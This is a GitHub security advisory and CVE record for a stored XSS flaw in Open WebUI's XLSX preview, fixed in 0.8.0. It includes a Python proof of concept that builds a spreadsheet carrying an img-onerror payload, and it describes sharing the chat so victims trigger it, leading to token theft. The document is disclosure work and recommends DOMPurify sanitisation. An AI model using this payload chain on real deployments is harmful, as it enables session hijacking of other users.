{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:26:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nExcel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the [sheetjs](https://git.sheetjs.com/sheetjs/sheetjs) function [sheet_to_html](https://git.sheetjs.com/sheetjs/sheetjs/src/commit/66cf8d2117d271f89e4f47b5fed35a3e1ea93f67/bits/79_html.js#L127) to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via [`@html`](https://svelte.dev/docs/svelte/@html) causing the payload to trigger.\n\n### Details\nThe function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML\nhttps://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133\nXLSX attachments are processed by this function, converted to HTML with `XLSX.utils.sheet_to_html` before ultimately being assigned to the variable `excelHtml`. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected.\nhttps://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400\n\n### PoC\nA python script to generate a payload file is as follows:\n```python\nimport xlsxwriter                                                                                                                \n                                                                                                                                 \npayload = \u0027\u003cimg src=x onerror=\"alert(\\\u0027XSS Triggered by XLSX file\\\u0027)\"\u003e\u0027                                                          \n                                                                                                                             \nworkbook = xlsxwriter.Workbook(\u0027xss_payload.xlsx\u0027)                                                                           \nworksheet = workbook.add_worksheet()                                                                                         \n                                                                                                                             \npayload_format = workbook.add_format()                                                                                       \n                                                                                                                             \nworksheet.write_rich_string(\u0027A1\u0027,                                                                                            \n    \u0027This cell contains a hidden payload: \u0027,                                                                                 \n    payload_format, payload                                                                                                  \n)                                                                                                                            \n                                                                                                                             \nworksheet.write(\u0027A2\u0027, \u0027This is a safe cell.\u0027)                                                                                \nworksheet.write(\u0027B1\u0027, \u0027Column B\u0027)                                                                                            \n                                                                                                                             \nworkbook.close()\n```\n\nUpload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers.\n\u003cimg width=\"2444\" height=\"1386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f\" /\u003e\nThis same process can be triggered in shared chats, allowing the payload to be distributed to victims.\n\u003cimg width=\"2386\" height=\"1646\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3\" /\u003e\n\n\n### Impact\nAny user can create a weaponised chat that can be shared and subsequently used to target other users.\n\nLow privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.\n\nAdmins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.\n\n### Caveats\nThe file attachment in the shared chat must be opened and previewed to trigger the vulnerability.\n\n### Recommendation\nSanitise the generated HTML with DOMPurify before assigning it to the DOM.",
  "id": "GHSA-jwf8-pv5p-vhmc",
  "modified": "2026-05-08T22:26:17Z",
  "published": "2026-05-08T22:26:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS in Excel file preview"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0."
    }
  ],
  "id": "CVE-2026-44549",
  "lastModified": "2026-05-15T22:16:52.490",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.3,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.1,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-15T22:16:52.490",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}